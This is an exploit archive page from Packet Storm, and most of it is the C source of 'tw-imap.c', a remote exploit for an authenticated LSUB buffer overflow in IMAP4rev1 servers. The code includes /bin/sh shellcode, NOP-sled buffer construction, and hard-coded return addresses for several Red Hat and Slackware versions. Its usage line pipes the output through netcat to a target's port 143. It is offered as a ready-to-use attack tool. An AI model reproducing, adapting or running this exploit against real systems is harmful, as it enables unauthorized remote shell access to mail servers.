never stop questioning

tw-imap.c

tw-imap.c
Posted Aug 1, 2002
Authored by tracewar

IMAP4rev1(lsub) remote exploit. Tested against v12.264, 12.250, 11.241, and 10.223. Requires username and password. Includes offsets for Red Hat and Slackware.

tags | exploit, remote
systems | linux, redhat, slackware
MD5 | 67c04ddf1466510f52cfcd1ed7e74015

tw-imap.c

Change Mirror Download
/*
vuln:
IMAP4rev1(lsub). VERSIONS: 12.264,12.250,11.241,10.223.
remote exploit by tracewar.
i know it's lame because the exploit use netcat, but it works so i don't care..
*/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#define NOP "0x90" /* i love NOPS :} */

char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main(int argc, char **argv){
long retaddr;
int i,offset;
char buffer[1064];
if(argc != 5){
printf("IMAP4rev1(lsub) remote exploit by tracewar.\n");
printf("usage: %s <username> <password> <type> <offset>|nc remote_ip 143\n",argv[0]);
printf("Types:\n");
printf("[1] Red Hat 6.2 - IMAP4rev1 v12.264\n");
printf("[2] Red Hat 6.1 - IMAP4rev1 v12.250\n");
printf("[3] Red Hat 6.0 - IMAP4rev1 v12.250\n");
printf("[4] Red Hat 5.2 - IMAP4rev1 v11.241\n");
printf("[5] Red Hat 5.1 - IMAP4rev1 v10.223\n");
printf("[6] Slackware 7.1 - IMAP4rev1 v12.264\n");
printf("[7] Slackware 7.0 - IMAP4rev1 v12.261\n");
printf("[8] Slackware 7.0 - IMAP4rev1 v2000.284\n");
printf("[9] Slackware 4.0 - IMAP4rev1 v12.250\n");
return(0);}

if(atoi(argv[3]) == 1){retaddr=0xbffff2c8;}
if(atoi(argv[3]) == 2){retaddr=0xbffff2c4;}
if(atoi(argv[3]) == 3){retaddr=0xbffff2f0;}
if(atoi(argv[3]) == 4){retaddr=0xbffff320;}
if(atoi(argv[3]) == 5){retaddr=0xbffff31c;}
if(atoi(argv[3]) == 6){retaddr=0xbffff4e0;}
if(atoi(argv[3]) == 7){retaddr=0xbffff3ec;}
if(atoi(argv[3]) == 8){retaddr=0xbfffebc8;}
if(atoi(argv[3]) == 9){retaddr=0xbffff890;}

offset=atoi(argv[4]);
memset(buffer, 0x90, 1032);
memcpy(buffer+613, shellcode, strlen(shellcode));
for(i=strlen(shellcode)+613;i<=1064;i+=4)
*(long *)&buffer[i] = retaddr - offset;
printf("1 LOGIN %s %s\r\n", argv[1], argv[2]);
printf("1 LSUB \"\" {1064}\r\n");
for(i=0; i<1064; i++) putchar(buffer[i]);
printf("\r\n");}

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2012

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    37 Files
  • 2
    May 2nd
    53 Files
  • 3
    May 3rd
    33 Files
  • 4
    May 4th
    4 Files
  • 5
    May 5th
    10 Files
  • 6
    May 6th
    17 Files
  • 7
    May 7th
    19 Files
  • 8
    May 8th
    36 Files
  • 9
    May 9th
    34 Files
  • 10
    May 10th
    35 Files
  • 11
    May 11th
    20 Files
  • 12
    May 12th
    18 Files
  • 13
    May 13th
    11 Files
  • 14
    May 14th
    27 Files
  • 15
    May 15th
    58 Files
  • 16
    May 16th
    54 Files
  • 17
    May 17th
    25 Files
  • 18
    May 18th
    53 Files
  • 19
    May 19th
    9 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    25 Files
  • 22
    May 22nd
    32 Files
  • 23
    May 23rd
    35 Files
  • 24
    May 24th
    26 Files
  • 25
    May 25th
    25 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2012 Packet Storm. All rights reserved.

close